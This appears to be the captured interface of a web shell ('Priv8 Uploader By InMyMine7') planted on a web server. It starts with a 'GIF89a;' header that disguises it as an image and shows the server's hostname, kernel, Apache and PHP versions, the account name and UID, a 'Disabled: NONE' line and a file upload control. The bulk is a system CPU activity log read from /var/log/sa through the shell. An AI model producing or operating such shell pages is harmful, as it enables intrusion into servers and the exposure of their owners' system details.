GIF89a;

Priv8 Uploader By InMyMine7

Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
HEX
HEX
Server: Apache/2.4.53 (Unix) OpenSSL/1.0.2k-fips
System: Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User: vacationcoursesc (1031)
PHP: 7.3.28
Disabled: NONE
Upload Files
File: //var/log/sa/sar10
Linux 3.10.0-1160.45.1.el7.x86_64 (server.abcbiz.in) 	2026-04-10 	_x86_64_	(8 CPU)

12:00:01 AM     CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
12:10:01 AM     all     34.49      3.38     11.90      1.65      0.00      0.00      0.42      0.00      0.00     48.15
12:10:01 AM       0     35.80      3.00     12.09      1.62      0.00      0.00      0.30      0.00      0.00     47.19
12:10:01 AM       1     36.24      2.65     12.28      1.75      0.00      0.00      0.28      0.00      0.00     46.80
12:10:01 AM       2     32.86      3.76     11.95      1.72      0.00      0.00      0.31      0.00      0.00     49.41
12:10:01 AM       3     33.40      4.22     11.88      1.89      0.00      0.00      0.30      0.00      0.00     48.31
12:10:01 AM       4     35.27      2.59     11.70      1.20      0.00      0.00      1.27      0.00      0.00     47.97
12:10:01 AM       5     34.25      3.43     11.68      1.68      0.00      0.00      0.31      0.00      0.00     48.65
12:10:01 AM       6     33.23      3.95     11.57      1.56      0.00      0.00      0.31      0.00      0.00     49.38
12:10:01 AM       7     34.88      3.44     12.07      1.80      0.00      0.00      0.31      0.00      0.00     47.50
12:20:02 AM     all     27.57      3.24      8.68      1.37      0.00      0.00      0.33      0.00      0.00     58.80
12:20:02 AM       0     27.43      5.06      8.90      1.21      0.00      0.00      0.22      0.00      0.00     57.17
12:20:02 AM       1     27.41      3.13      8.90      1.33      0.00      0.00      0.22      0.00      0.00     59.00
12:20:02 AM       2     25.25      3.71      8.17      1.79      0.00      0.00      0.21      0.00      0.00     60.88
12:20:02 AM       3     27.05      3.31      8.54      1.43      0.00      0.00      0.22      0.00      0.00     59.45
12:20:02 AM       4     29.50      3.70      8.87      1.09      0.00      0.00      1.22      0.00      0.00     55.63
12:20:02 AM       5     30.15      1.52      8.96      1.39      0.00      0.00      0.18      0.00      0.00     57.81
12:20:02 AM       6     26.37      3.34      8.37      1.39      0.00      0.00      0.22      0.00      0.00     60.29
12:20:02 AM       7     27.44      2.17      8.76      1.33      0.00      0.00      0.18      0.00      0.00     60.12
12:30:01 AM     all     21.30      3.24      7.54      0.43      0.00      0.00      0.21      0.00      0.00     67.28
12:30:01 AM       0     21.32      3.12      7.62      0.48      0.00      0.00      0.16      0.00      0.00     67.30
12:30:01 AM       1     20.73      3.92      8.04      0.53      0.00      0.00      0.12      0.00      0.00     66.66
12:30:01 AM       2     19.24      4.14      7.35      0.48      0.00      0.00      0.11      0.00      0.00     68.68
12:30:01 AM       3     19.45      3.64      7.20      0.40      0.00      0.00      0.11      0.00      0.00     69.20
12:30:01 AM       4     24.07      2.24      7.40      0.31      0.00      0.00      0.90      0.00      0.00     65.07
12:30:01 AM       5     21.61      2.52      7.51      0.37      0.00      0.00      0.10      0.00      0.00     67.89
12:30:01 AM       6     21.36      2.02      7.16      0.42      0.00      0.00      0.11      0.00      0.00     68.93
12:30:01 AM       7     22.62      4.33      8.03      0.44      0.00      0.00      0.11      0.00      0.00     64.47
12:40:01 AM     all     19.66      3.27      8.37      0.43      0.00      0.00      0.24      0.00      0.00     68.03
12:40:01 AM       0     17.19      3.68      7.93      0.46      0.00      0.00      0.19      0.00      0.00     70.55
12:40:01 AM       1     20.49      3.93      8.76      0.46      0.00      0.00      0.13      0.00      0.00     66.22
12:40:01 AM       2     18.18      3.02      7.87      0.50      0.00      0.00      0.15      0.00      0.00     70.27
12:40:01 AM       3     17.82      4.10      8.29      0.57      0.00      0.00      0.14      0.00      0.00     69.09
12:40:01 AM       4     23.43      2.21      9.03      0.24      0.00      0.00      0.96      0.00      0.00     64.14
12:40:01 AM       5     20.47      2.63      8.27      0.32      0.00      0.00      0.11      0.00      0.00     68.19
12:40:01 AM       6     21.14      2.46      8.54      0.50      0.00      0.00      0.14      0.00      0.00     67.22
12:40:01 AM       7     18.59      4.12      8.28      0.36      0.00      0.00      0.12      0.00      0.00     68.53
12:50:02 AM     all     25.05      3.36     12.19      0.45      0.00      0.00      0.38      0.00      0.00     58.57
12:50:02 AM       0     24.67      3.48     11.78      0.50      0.00      0.00      0.26      0.00      0.00     59.31
12:50:02 AM       1     25.09      3.47     12.01      0.43      0.00      0.00      0.23      0.00      0.00     58.76
12:50:02 AM       2     25.34      4.18     12.40      0.47      0.00      0.00      0.22      0.00      0.00     57.38
12:50:02 AM       3     23.11      3.06     11.55      0.49      0.00      0.00      0.22      0.00      0.00     61.56
12:50:02 AM       4     27.37      2.51     13.99      0.30      0.00      0.00      1.44      0.00      0.00     54.39
12:50:02 AM       5     24.45      3.79     12.20      0.38      0.00      0.00      0.22      0.00      0.00     58.96
12:50:02 AM       6     24.42      3.34     11.58      0.50      0.00      0.00      0.23      0.00      0.00     59.93
12:50:02 AM       7     25.97      3.04     12.02      0.50      0.00      0.00      0.21      0.00      0.00     58.25
01:00:01 AM     all     24.37      3.24      8.62      0.50      0.00      0.00      0.26      0.00      0.00     63.00
01:00:01 AM       0     26.40      2.63      9.15      0.64      0.00      0.00      0.17      0.00      0.00     61.02
01:00:01 AM       1     24.72      3.59      8.86      0.57      0.00      0.00      0.14      0.00      0.00     62.12
01:00:01 AM       2     23.85      2.99      8.68      0.59      0.00      0.00      0.16      0.00      0.00     63.72
01:00:01 AM       3     22.85      3.13      8.39      0.49      0.00      0.00      0.16      0.00      0.00     64.98
01:00:01 AM       4     26.82      2.78      8.95      0.30      0.00      0.00      1.04      0.00      0.00     60.10
01:00:01 AM       5     23.70      3.56      8.39      0.36      0.00      0.00      0.12      0.00      0.00     63.88
01:00:01 AM       6     22.66      3.24      8.01      0.50      0.00      0.00      0.14      0.00      0.00     65.45
01:00:01 AM       7     23.99      4.03      8.55      0.56      0.00      0.00      0.13      0.00      0.00     62.75
01:10:02 AM     all     28.25      3.32      8.76      0.92      0.00      0.00      0.29      0.00      0.00     58.45
01:10:02 AM       0     27.91      3.66      9.04      0.99      0.00      0.00      0.19      0.00      0.00     58.21
01:10:02 AM       1     27.16      3.89      8.75      1.02      0.00      0.00      0.16      0.00      0.00     59.02
01:10:02 AM       2     27.34      3.63      8.75      0.95      0.00      0.00      0.16      0.00      0.00     59.17
01:10:02 AM       3     27.19      2.57      8.52      0.98      0.00      0.00      0.16      0.00      0.00     60.57
01:10:02 AM       4     30.27      2.93      8.58      0.74      0.00      0.00      1.21      0.00      0.00     56.27
01:10:02 AM       5     29.47      3.57      9.09      0.80      0.00      0.00      0.14      0.00      0.00     56.94
01:10:02 AM       6     29.40      2.79      8.67      0.86      0.00      0.00      0.16      0.00      0.00     58.13
01:10:02 AM       7     27.26      3.55      8.65      1.06      0.00      0.00      0.18      0.00      0.00     59.31
01:20:02 AM     all     39.14      3.40     10.49      1.29      0.00      0.00      0.45      0.00      0.00     45.23
01:20:02 AM       0     39.36      2.85     10.84      1.28      0.00      0.00      0.29      0.00      0.00     45.38
01:20:02 AM       1     40.52      2.52     10.66      1.44      0.00      0.00      0.28      0.00      0.00     44.57
01:20:02 AM       2     38.40      3.43     10.12      1.45      0.00      0.00      0.31      0.00      0.00     46.28
01:20:02 AM       3     38.52      3.34     10.37      1.36      0.00      0.00      0.29      0.00      0.00     46.11
01:20:02 AM       4     40.19      3.23     10.24      0.97      0.00      0.00      1.58      0.00      0.00     43.79
01:20:02 AM       5     38.26      4.32     10.60      1.11      0.00      0.00      0.22      0.00      0.00     45.49
01:20:02 AM       6     38.09      3.14     10.25      1.38      0.00      0.00      0.30      0.00      0.00     46.85
01:20:02 AM       7     39.77      4.38     10.84      1.36      0.00      0.00      0.29      0.00      0.00     43.35
01:30:01 AM     all     29.20      3.74      9.21      0.62      0.00      0.00      0.29      0.00      0.00     56.94
01:30:01 AM       0     29.26      3.62      9.44      0.68      0.00      0.00      0.19      0.00      0.00     56.81
01:30:01 AM       1     30.05      3.50      9.36      0.68      0.00      0.00      0.16      0.00      0.00     56.24
01:30:01 AM       2     27.46      3.50      8.71      0.80      0.00      0.00      0.18      0.00      0.00     59.35
01:30:01 AM       3     27.01      4.61      9.06      0.75      0.00      0.00      0.18      0.00      0.00     58.39
01:30:01 AM       4     29.39      3.50      9.15      0.40      0.00      0.00      1.18      0.00      0.00     56.38
01:30:01 AM       5     30.63      3.78      9.59      0.51      0.00      0.00      0.13      0.00      0.00     55.35
01:30:01 AM       6     28.82      4.40      9.17      0.59      0.00      0.00      0.17      0.00      0.00     56.84
01:30:01 AM       7     30.98      3.00      9.20      0.58      0.00      0.00      0.14      0.00      0.00     56.11
01:40:01 AM     all     19.67      3.25      7.15      0.39      0.00      0.00      0.20      0.00      0.00     69.34
01:40:01 AM       0     19.54      3.08      7.25      0.45      0.00      0.00      0.13      0.00      0.00     69.54
01:40:01 AM       1     21.49      4.76      8.40      0.46      0.00      0.00      0.11      0.00      0.00     64.79
01:40:01 AM       2     19.62      1.82      6.86      0.44      0.00      0.00      0.11      0.00      0.00     71.14
01:40:01 AM       3     16.29      3.60      6.39      0.43      0.00      0.00      0.10      0.00      0.00     73.19
01:40:01 AM       4     20.60      2.62      6.83      0.22      0.00      0.00      0.85      0.00      0.00     68.88
01:40:01 AM       5     19.89      3.69      7.39      0.30      0.00      0.00      0.10      0.00      0.00     68.62
01:40:01 AM       6     21.55      2.87      7.22      0.33      0.00      0.00      0.12      0.00      0.00     67.90
01:40:01 AM       7     18.41      3.51      6.89      0.47      0.00      0.00      0.11      0.00      0.00     70.62
01:50:01 AM     all     29.09      3.31      9.81      0.42      0.00      0.00      0.28      0.00      0.00     57.08
01:50:01 AM       0     28.42      2.95      9.78      0.44      0.00      0.00      0.19      0.00      0.00     58.23
01:50:01 AM       1     28.99      4.11      9.88      0.48      0.00      0.00      0.17      0.00      0.00     56.37
01:50:01 AM       2     28.44      3.14      9.79      0.45      0.00      0.00      0.16      0.00      0.00     58.02
01:50:01 AM       3     28.05      4.39     10.13      0.41      0.00      0.00      0.16      0.00      0.00     56.86
01:50:01 AM       4     30.31      2.39      9.58      0.29      0.00      0.00      1.11      0.00      0.00     56.32
01:50:01 AM       5     31.07      2.92     10.19      0.37      0.00      0.00      0.15      0.00      0.00     55.29
01:50:01 AM       6     29.87      1.93      9.19      0.41      0.00      0.00      0.15      0.00      0.00     58.45
01:50:01 AM       7     27.62      4.65      9.98      0.48      0.00      0.00      0.15      0.00      0.00     57.12

01:50:01 AM     CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
02:00:02 AM     all     25.24      3.25      8.43      0.44      0.00      0.00      0.24      0.00      0.00     62.39
02:00:02 AM       0     24.80      3.09      8.23      0.54      0.00      0.00      0.15      0.00      0.00     63.19
02:00:02 AM       1     25.21      3.04      8.16      0.50      0.00      0.00      0.12      0.00      0.00     62.96
02:00:02 AM       2     23.07      4.45      8.65      0.53      0.00      0.00      0.15      0.00      0.00     63.15
02:00:02 AM       3     21.97      3.22      7.97      0.44      0.00      0.00      0.13      0.00      0.00     66.28
02:00:02 AM       4     28.37      2.83      8.76      0.24      0.00      0.00      1.07      0.00      0.00     58.73
02:00:02 AM       5     26.69      2.88      8.49      0.36      0.00      0.00      0.11      0.00      0.00     61.47
02:00:02 AM       6     26.26      3.79      8.86      0.42      0.00      0.00      0.12      0.00      0.00     60.56
02:00:02 AM       7     25.57      2.72      8.31      0.51      0.00      0.00      0.11      0.00      0.00     62.79
02:10:01 AM     all     28.97      3.37      9.31      0.95      0.00      0.00      0.30      0.00      0.00     57.09
02:10:01 AM       0     27.91      2.46      8.73      1.02      0.00      0.00      0.21      0.00      0.00     59.68
02:10:01 AM       1     30.50      3.71      9.94      1.05      0.00      0.00      0.19      0.00      0.00     54.60
02:10:01 AM       2     28.36      3.15      9.10      1.08      0.00      0.00      0.20      0.00      0.00     58.12
02:10:01 AM       3     26.88      3.33      8.90      1.03      0.00      0.00      0.20      0.00      0.00     59.65
02:10:01 AM       4     30.15      3.49      9.61      0.62      0.00      0.00      1.13      0.00      0.00     55.00
02:10:01 AM       5     29.39      3.83      9.42      0.88      0.00      0.00      0.16      0.00      0.00     56.31
02:10:01 AM       6     29.62      2.67      9.19      0.96      0.00      0.00      0.19      0.00      0.00     57.37
02:10:01 AM       7     28.96      4.32      9.60      0.96      0.00      0.00      0.16      0.00      0.00     56.00
02:20:01 AM     all     32.13      3.31     10.05      1.34      0.00      0.00      0.35      0.00      0.00     52.83
02:20:01 AM       0     31.40      4.46     10.25      1.49      0.00      0.00      0.26      0.00      0.00     52.14
02:20:01 AM       1     31.85      2.06      9.77      1.48      0.00      0.00      0.21      0.00      0.00     54.64
02:20:01 AM       2     32.11      3.60     10.03      1.45      0.00      0.00      0.24      0.00      0.00     52.57
02:20:01 AM       3     30.43      3.25      9.53      1.43      0.00      0.00      0.22      0.00      0.00     55.14
02:20:01 AM       4     33.78      3.37      9.98      0.93      0.00      0.00      1.21      0.00      0.00     50.72
02:20:01 AM       5     32.37      3.97     10.73      1.04      0.00      0.00      0.19      0.00      0.00     51.69
02:20:01 AM       6     31.53      3.38      9.95      1.51      0.00      0.00      0.23      0.00      0.00     53.41
02:20:01 AM       7     33.61      2.37     10.15      1.39      0.00      0.00      0.19      0.00      0.00     52.28
02:30:01 AM     all     27.61      3.32      9.00      0.59      0.00      0.00      0.25      0.00      0.00     59.24
02:30:01 AM       0     28.10      2.85      9.18      0.63      0.00      0.00      0.16      0.00      0.00     59.08
02:30:01 AM       1     28.08      3.38      9.11      0.76      0.00      0.00      0.15      0.00      0.00     58.51
02:30:01 AM       2     28.17      2.57      9.07      0.63      0.00      0.00      0.16      0.00      0.00     59.40
02:30:01 AM       3     26.81      3.88      9.07      0.61      0.00      0.00      0.15      0.00      0.00     59.48
02:30:01 AM       4     29.86      2.74      9.05      0.39      0.00      0.00      1.00      0.00      0.00     56.95
02:30:01 AM       5     28.37      3.84      9.65      0.52      0.00      0.00      0.13      0.00      0.00     57.49
02:30:01 AM       6     24.36      4.08      8.29      0.61      0.00      0.00      0.14      0.00      0.00     62.52
02:30:01 AM       7     27.12      3.19      8.59      0.56      0.00      0.00      0.12      0.00      0.00     60.42
02:40:01 AM     all     21.63      3.31      7.63      0.47      0.00      0.00      0.24      0.00      0.00     66.71
02:40:01 AM       0     20.98      2.44      7.24      0.51      0.00      0.00      0.13      0.00      0.00     68.70
02:40:01 AM       1     22.77      3.27      8.17      0.58      0.00      0.00      0.12      0.00      0.00     65.09
02:40:01 AM       2     20.23      3.56      7.18      0.54      0.00      0.00      0.13      0.00      0.00     68.35
02:40:01 AM       3     18.31      3.96      7.18      0.57      0.00      0.00      0.12      0.00      0.00     69.86
02:40:01 AM       4     23.15      2.86      7.52      0.28      0.00      0.00      1.08      0.00      0.00     65.10
02:40:01 AM       5     22.05      3.84      8.01      0.37      0.00      0.00      0.11      0.00      0.00     65.62
02:40:01 AM       6     22.19      2.62      7.56      0.46      0.00      0.00      0.14      0.00      0.00     67.03
02:40:01 AM       7     23.38      3.95      8.19      0.43      0.00      0.00      0.11      0.00      0.00     63.94
02:50:02 AM     all     23.32      3.28      7.91      0.42      0.00      0.00      0.24      0.00      0.00     64.83
02:50:02 AM       0     24.84      2.93      8.10      0.49      0.00      0.00      0.14      0.00      0.00     63.51
02:50:02 AM       1     24.14      3.75      8.46      0.44      0.00      0.00      0.12      0.00      0.00     63.09
02:50:02 AM       2     22.41      2.72      7.62      0.44      0.00      0.00      0.13      0.00      0.00     66.67
02:50:02 AM       3     22.08      2.96      7.50      0.38      0.00      0.00      0.12      0.00      0.00     66.97
02:50:02 AM       4     25.69      2.66      8.16      0.26      0.00      0.00      1.12      0.00      0.00     62.11
02:50:02 AM       5     22.28      3.83      7.63      0.37      0.00      0.00      0.11      0.00      0.00     65.78
02:50:02 AM       6     22.79      3.92      7.81      0.41      0.00      0.00      0.11      0.00      0.00     64.97
02:50:02 AM       7     22.33      3.49      7.98      0.53      0.00      0.00      0.12      0.00      0.00     65.55
03:00:02 AM     all     27.25      3.32      9.02      0.56      0.00      0.00      0.30      0.00      0.00     59.55
03:00:02 AM       0     27.84      3.10      9.30      0.68      0.00      0.00      0.19      0.00      0.00     58.90
03:00:02 AM       1     25.84      3.51      9.02      0.67      0.00      0.00      0.16      0.00      0.00     60.79
03:00:02 AM       2     27.92      4.29      9.31      0.55      0.00      0.00      0.18      0.00      0.00     57.75
03:00:02 AM       3     24.72      3.59      8.57      0.63      0.00      0.00      0.16      0.00      0.00     62.32
03:00:02 AM       4     29.41      3.58      9.41      0.34      0.00      0.00      1.25      0.00      0.00     56.02
03:00:02 AM       5     27.81      3.52      9.00      0.44      0.00      0.00      0.14      0.00      0.00     59.09
03:00:02 AM       6     26.76      2.68      8.60      0.55      0.00      0.00      0.16      0.00      0.00     61.24
03:00:02 AM       7     27.69      2.32      8.93      0.64      0.00      0.00      0.15      0.00      0.00     60.27
03:10:02 AM     all     27.02      3.80      9.67      1.15      0.00      0.00      0.31      0.00      0.00     58.05
03:10:02 AM       0     26.40      3.25      9.53      1.24      0.00      0.00      0.22      0.00      0.00     59.36
03:10:02 AM       1     28.67      3.81      9.88      1.11      0.00      0.00      0.18      0.00      0.00     56.36
03:10:02 AM       2     26.33      4.39      9.56      1.31      0.00      0.00      0.22      0.00      0.00     58.18
03:10:02 AM       3     24.96      3.87      9.28      1.34      0.00      0.00      0.22      0.00      0.00     60.32
03:10:02 AM       4     30.84      2.92     10.10      0.80      0.00      0.00      1.08      0.00      0.00     54.26
03:10:02 AM       5     26.27      3.97      9.73      1.07      0.00      0.00      0.19      0.00      0.00     58.76
03:10:02 AM       6     26.35      4.59      9.75      1.14      0.00      0.00      0.22      0.00      0.00     57.95
03:10:02 AM       7     26.33      3.58      9.55      1.21      0.00      0.00      0.19      0.00      0.00     59.15
03:20:02 AM     all     25.43      5.18     11.18      3.93      0.00      0.00      0.58      0.00      0.00     53.71
03:20:02 AM       0     28.35      4.55     11.60      3.93      0.00      0.00      0.50      0.00      0.00     51.08
03:20:02 AM       1     27.19      4.30     11.41      3.93      0.00      0.00      0.40      0.00      0.00     52.79
03:20:02 AM       2     22.22      5.86     11.06      5.56      0.00      0.00      0.58      0.00      0.00     54.72
03:20:02 AM       3     23.92      6.19     11.33      4.91      0.00      0.00      0.63      0.00      0.00     53.01
03:20:02 AM       4     28.06      3.94     10.47      2.29      0.00      0.00      1.07      0.00      0.00     54.18
03:20:02 AM       5     23.73      4.45     10.35      3.34      0.00      0.00      0.42      0.00      0.00     57.70
03:20:02 AM       6     24.40      5.62     11.47      4.49      0.00      0.00      0.63      0.00      0.00     53.40
03:20:02 AM       7     25.57      6.54     11.70      2.96      0.00      0.00      0.40      0.00      0.00     52.82
03:30:01 AM     all     23.67      4.42     11.56      0.64      0.00      0.00      0.28      0.00      0.00     59.43
03:30:01 AM       0     22.78      4.79     11.64      0.69      0.00      0.00      0.19      0.00      0.00     59.91
03:30:01 AM       1     23.87      5.43     11.41      0.69      0.00      0.00      0.17      0.00      0.00     58.43
03:30:01 AM       2     23.21      5.47     12.09      0.63      0.00      0.00      0.19      0.00      0.00     58.41
03:30:01 AM       3     22.48      2.65     11.34      0.68      0.00      0.00      0.19      0.00      0.00     62.66
03:30:01 AM       4     25.33      3.64     11.41      0.47      0.00      0.00      1.03      0.00      0.00     58.13
03:30:01 AM       5     25.09      4.05     12.08      0.55      0.00      0.00      0.15      0.00      0.00     58.08
03:30:01 AM       6     22.11      4.25     10.79      0.68      0.00      0.00      0.17      0.00      0.00     61.98
03:30:01 AM       7     24.53      5.07     11.68      0.72      0.00      0.00      0.17      0.00      0.00     57.83
03:40:01 AM     all     16.76      3.28      6.36      0.31      0.00      0.00      0.19      0.00      0.00     73.11
03:40:01 AM       0     16.49      2.99      6.26      0.32      0.00      0.00      0.12      0.00      0.00     73.81
03:40:01 AM       1     14.71      4.78      6.46      0.36      0.00      0.00      0.09      0.00      0.00     73.61
03:40:01 AM       2     15.63      2.82      6.19      0.32      0.00      0.00      0.10      0.00      0.00     74.95
03:40:01 AM       3     15.28      2.46      5.85      0.31      0.00      0.00      0.09      0.00      0.00     76.00
03:40:01 AM       4     20.18      3.41      6.61      0.20      0.00      0.00      0.79      0.00      0.00     68.81
03:40:01 AM       5     19.28      2.25      6.75      0.26      0.00      0.00      0.09      0.00      0.00     71.37
03:40:01 AM       6     17.89      2.56      6.52      0.31      0.00      0.00      0.10      0.00      0.00     72.62
03:40:01 AM       7     14.63      4.96      6.27      0.39      0.00      0.00      0.11      0.00      0.00     73.64

03:40:01 AM     CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
03:50:01 AM     all     16.87      3.24      6.11      0.15      0.00      0.00      0.14      0.00      0.00     73.48
03:50:01 AM       0     16.73      3.12      6.02      0.18      0.00      0.00      0.09      0.00      0.00     73.86
03:50:01 AM       1     15.42      4.44      6.13      0.17      0.00      0.00      0.08      0.00      0.00     73.76
03:50:01 AM       2     15.31      2.26      5.56      0.16      0.00      0.00      0.06      0.00      0.00     76.65
03:50:01 AM       3     13.67      3.96      5.50      0.14      0.00      0.00      0.06      0.00      0.00     76.67
03:50:01 AM       4     23.33      2.42      7.22      0.10      0.00      0.00      0.69      0.00      0.00     66.23
03:50:01 AM       5     18.16      3.63      6.62      0.14      0.00      0.00      0.06      0.00      0.00     71.40
03:50:01 AM       6     17.66      2.27      6.14      0.13      0.00      0.00      0.07      0.00      0.00     73.73
03:50:01 AM       7     14.76      3.79      5.70      0.21      0.00      0.00      0.06      0.00      0.00     75.47
04:00:02 AM     all     14.82      3.21      5.97      0.15      0.00      0.00      0.13      0.00      0.00     75.71
04:00:02 AM       0     13.78      2.68      5.81      0.19      0.00      0.00      0.09      0.00      0.00     77.44
04:00:02 AM       1     18.51      4.00      7.61      0.17      0.00      0.00      0.06      0.00      0.00     69.65
04:00:02 AM       2     14.96      3.64      6.45      0.17      0.00      0.00      0.06      0.00      0.00     74.72
04:00:02 AM       3     12.09      3.86      5.45      0.17      0.00      0.00      0.06      0.00      0.00     78.38
04:00:02 AM       4     17.93      2.66      5.79      0.08      0.00      0.00      0.61      0.00      0.00     72.94
04:00:02 AM       5     13.07      2.87      5.12      0.12      0.00      0.00      0.06      0.00      0.00     78.75
04:00:02 AM       6     13.96      2.27      5.46      0.16      0.00      0.00      0.06      0.00      0.00     78.09
04:00:02 AM       7     14.31      3.71      6.10      0.17      0.00      0.00      0.06      0.00      0.00     75.66
04:10:02 AM     all     19.12      3.29      7.19      0.47      0.00      0.00      0.21      0.00      0.00     69.72
04:10:02 AM       0     20.02      4.51      7.83      0.47      0.00      0.00      0.14      0.00      0.00     67.04
04:10:02 AM       1     19.13      3.35      7.41      0.58      0.00      0.00      0.13      0.00      0.00     69.39
04:10:02 AM       2     17.19      2.49      6.49      0.54      0.00      0.00      0.12      0.00      0.00     73.16
04:10:02 AM       3     16.36      2.76      6.41      0.55      0.00      0.00      0.13      0.00      0.00     73.79
04:10:02 AM       4     20.73      3.27      7.34      0.29      0.00      0.00      0.81      0.00      0.00     67.56
04:10:02 AM       5     19.43      2.83      6.89      0.35      0.00      0.00      0.10      0.00      0.00     70.40
04:10:02 AM       6     18.09      2.86      6.77      0.47      0.00      0.00      0.12      0.00      0.00     71.68
04:10:02 AM       7     22.00      4.25      8.41      0.47      0.00      0.00      0.11      0.00      0.00     64.75
04:20:01 AM     all     15.44      3.17      6.01      0.87      0.00      0.00      0.21      0.00      0.00     74.30
04:20:01 AM       0     14.51      2.63      6.14      0.97      0.00      0.00      0.16      0.00      0.00     75.59
04:20:01 AM       1     13.94      3.60      6.02      1.34      0.00      0.00      0.17      0.00      0.00     74.92
04:20:01 AM       2     14.84      3.82      6.31      1.30      0.00      0.00      0.10      0.00      0.00     73.63
04:20:01 AM       3     13.26      3.52      5.47      0.80      0.00      0.00      0.11      0.00      0.00     76.84
04:20:01 AM       4     20.46      2.38      6.32      0.44      0.00      0.00      0.82      0.00      0.00     69.58
04:20:01 AM       5     15.50      3.46      6.05      0.49      0.00      0.00      0.07      0.00      0.00     74.42
04:20:01 AM       6     15.66      2.57      5.91      0.76      0.00      0.00      0.09      0.00      0.00     75.01
04:20:01 AM       7     15.41      3.37      5.83      0.89      0.00      0.00      0.11      0.00      0.00     74.39
04:30:02 AM     all     15.62      3.20      5.97      0.24      0.00      0.00      0.15      0.00      0.00     74.82
04:30:02 AM       0     17.55      3.88      6.76      0.25      0.00      0.00      0.10      0.00      0.00     71.47
04:30:02 AM       1     15.34      3.67      6.06      0.25      0.00      0.00      0.08      0.00      0.00     74.59
04:30:02 AM       2     13.42      2.73      5.45      0.29      0.00      0.00      0.07      0.00      0.00     78.05
04:30:02 AM       3     12.07      5.28      5.67      0.20      0.00      0.00      0.07      0.00      0.00     76.70
04:30:02 AM       4     19.16      2.67      6.19      0.12      0.00      0.00      0.68      0.00      0.00     71.18
04:30:02 AM       5     15.44      2.64      5.70      0.15      0.00      0.00      0.06      0.00      0.00     76.01
04:30:02 AM       6     16.99      2.31      6.16      0.27      0.00      0.00      0.07      0.00      0.00     74.21
04:30:02 AM       7     15.02      2.43      5.73      0.42      0.00      0.00      0.08      0.00      0.00     76.31
04:40:01 AM     all     18.27      3.31      6.62      0.21      0.00      0.00      0.19      0.00      0.00     71.39
04:40:01 AM       0     17.28      4.59      6.99      0.18      0.00      0.00      0.13      0.00      0.00     70.83
04:40:01 AM       1     18.36      4.40      7.16      0.22      0.00      0.00      0.10      0.00      0.00     69.76
04:40:01 AM       2     17.76      3.33      6.94      0.19      0.00      0.00      0.10      0.00      0.00     71.69
04:40:01 AM       3     17.14      2.53      6.14      0.28      0.00      0.00      0.09      0.00      0.00     73.82
04:40:01 AM       4     21.31      2.80      6.63      0.15      0.00      0.00      0.83      0.00      0.00     68.28
04:40:01 AM       5     16.28      2.68      5.61      0.16      0.00      0.00      0.10      0.00      0.00     75.17
04:40:01 AM       6     18.92      3.14      6.76      0.24      0.00      0.00      0.10      0.00      0.00     70.85
04:40:01 AM       7     19.15      2.98      6.77      0.25      0.00      0.00      0.10      0.00      0.00     70.74
04:50:01 AM     all     17.23      3.20      6.12      0.14      0.00      0.00      0.14      0.00      0.00     73.17
04:50:01 AM       0     17.20      3.24      6.36      0.14      0.00      0.00      0.10      0.00      0.00     72.96
04:50:01 AM       1     18.47      2.92      6.52      0.20      0.00      0.00      0.07      0.00      0.00     71.82
04:50:01 AM       2     17.99      3.96      6.73      0.13      0.00      0.00      0.07      0.00      0.00     71.12
04:50:01 AM       3     14.37      4.09      5.55      0.14      0.00      0.00      0.06      0.00      0.00     75.78
04:50:01 AM       4     18.34      3.21      5.98      0.12      0.00      0.00      0.60      0.00      0.00     71.75
04:50:01 AM       5     18.23      3.24      6.43      0.07      0.00      0.00      0.06      0.00      0.00     71.96
04:50:01 AM       6     15.45      2.06      5.20      0.14      0.00      0.00      0.07      0.00      0.00     77.09
04:50:01 AM       7     17.78      2.91      6.19      0.19      0.00      0.00      0.07      0.00      0.00     72.86
05:00:02 AM     all     13.92      3.16      5.46      0.10      0.00      0.00      0.13      0.00      0.00     77.24
05:00:02 AM       0     13.27      4.33      5.56      0.11      0.00      0.00      0.08      0.00      0.00     76.66
05:00:02 AM       1     13.34      3.08      5.35      0.10      0.00      0.00      0.06      0.00      0.00     78.08
05:00:02 AM       2     11.59      2.93      4.88      0.12      0.00      0.00      0.05      0.00      0.00     80.43
